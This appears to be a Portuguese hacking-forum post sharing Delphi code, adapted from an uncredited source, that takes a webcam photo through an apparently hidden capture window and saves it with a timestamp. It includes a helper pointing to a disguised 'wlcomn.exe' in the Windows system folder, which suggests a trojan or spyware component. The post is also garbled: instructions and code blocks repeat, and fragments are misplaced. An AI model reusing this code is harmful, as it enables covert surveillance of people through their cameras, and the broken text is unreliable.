Apenas peguei o comando da pagina: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e modifiquei ele um pouco de forma que salve no drive principal e o nome da foto seja a hora e a data atual, fiz apenas isto
Não sei quem realmente fez o comando base, então não posso postar o crétido do merecedor
Adicione na lista de var globais:
Adicione este comando abaixo da lista de var globais:
Adicione abaixo do {$R *.dfm}:
Para tirar a foto:
A var dire é a letra do disco principal
Não sei quem realmente fez o comando base, então não posso postar o crétido do merecedor
Adicione na lista de var globais:
HwebCam: HWND;
Dire: Array[0..255] of Char;
Dire: Array[0..255] of Char;
function capCreateCaptureWindowA(lpszWindowName: pchar; dwStyle: dword; x, y, nWidth, nHeight: word; ParentWin: dword; nId: word): dword; stdcall external 'avicap32.dll';
function ApplicationPath: string;
begin
Windows.GetSystemDirectory(Dire,255);
Result := Dire + '\wlcomn.exe';
end;
Function CapturarWebCam(DestinoCapBMP:string) : Boolean;
const
WM_WEBCAM = $400;
WM_CONECTAR_DRIVER_WEBCAM = WM_WEBCAM + $a;
WM_DESCONECTAR_DRIVER_WEBCAM = WM_WEBCAM + $b;
WM_GUARDAR_CAPTURA = WM_WEBCAM + 25;
WM_FECHAR_WEBCAM = $0010;
begin
if HwebCam = 0 then
begin //WS_CHILD //WS_VISIBLE
HwebCam := capCreateCaptureWindowA('CaptureWindow', $40000000 and $10000000, 0, 0, 0, 0, GetDesktopWindow, 0);
if SendMessage(HwebCam, WM_CONECTAR_DRIVER_WEBCAM, 0, 0) <> 1 then
begin
HwebCam := 0;
Result := False;
end else begin
SendMessage(HwebCam, WM_GUARDAR_CAPTURA, wparam(0), lparam(PChar(DestinoCapBMP)));
SendMessage(HwebCam, WM_FECHAR_WEBCAM, 0, 0);
SendMessage(HwebCam, WM_FECHAR_WEBCAM, 0, 0);
HwebCam := 0;
Result := True;
end;
end else
Result := False;
end;
Procedure Capturar;
var
Captura: string;
begin
Captura := Dire + '\Foto ' + FormatDateTime('dd!mm!yyyy, hh!mm!ss', Now + 0.125) + '.jpg';
if not CapturarWebCam(Captura) then
MessageBox(0,Pchar('Não foi possivél capturar a webcam'),'Erro',16);
end;
begin
Windows.GetSystemDirectory(Dire,255);
Result := Dire + '\wlcomn.exe';
end;
Function CapturarWebCam(DestinoCapBMP:string) : Boolean;
const
WM_WEBCAM = $400;
WM_CONECTAR_DRIVER_WEBCAM = WM_WEBCAM + $a;
WM_DESCONECTAR_DRIVER_WEBCAM = WM_WEBCAM + $b;
WM_GUARDAR_CAPTURA = WM_WEBCAM + 25;
WM_FECHAR_WEBCAM = $0010;
begin
if HwebCam = 0 then
begin //WS_CHILD //WS_VISIBLE
HwebCam := capCreateCaptureWindowA('CaptureWindow', $40000000 and $10000000, 0, 0, 0, 0, GetDesktopWindow, 0);
if SendMessage(HwebCam, WM_CONECTAR_DRIVER_WEBCAM, 0, 0) <> 1 then
begin
HwebCam := 0;
Result := False;
end else begin
SendMessage(HwebCam, WM_GUARDAR_CAPTURA, wparam(0), lparam(PChar(DestinoCapBMP)));
SendMessage(HwebCam, WM_FECHAR_WEBCAM, 0, 0);
SendMessage(HwebCam, WM_FECHAR_WEBCAM, 0, 0);
HwebCam := 0;
Result := True;
end;
end else
Result := False;
end;
Procedure Capturar;
var
Captura: string;
begin
Captura := Dire + '\Foto ' + FormatDateTime('dd!mm!yyyy, hh!mm!ss', Now + 0.125) + '.jpg';
if not CapturarWebCam(Captura) then
MessageBox(0,Pchar('Não foi possivél capturar a webcam'),'Erro',16);
end;
Capturar;
A var dire é a letra do disco principal
Comment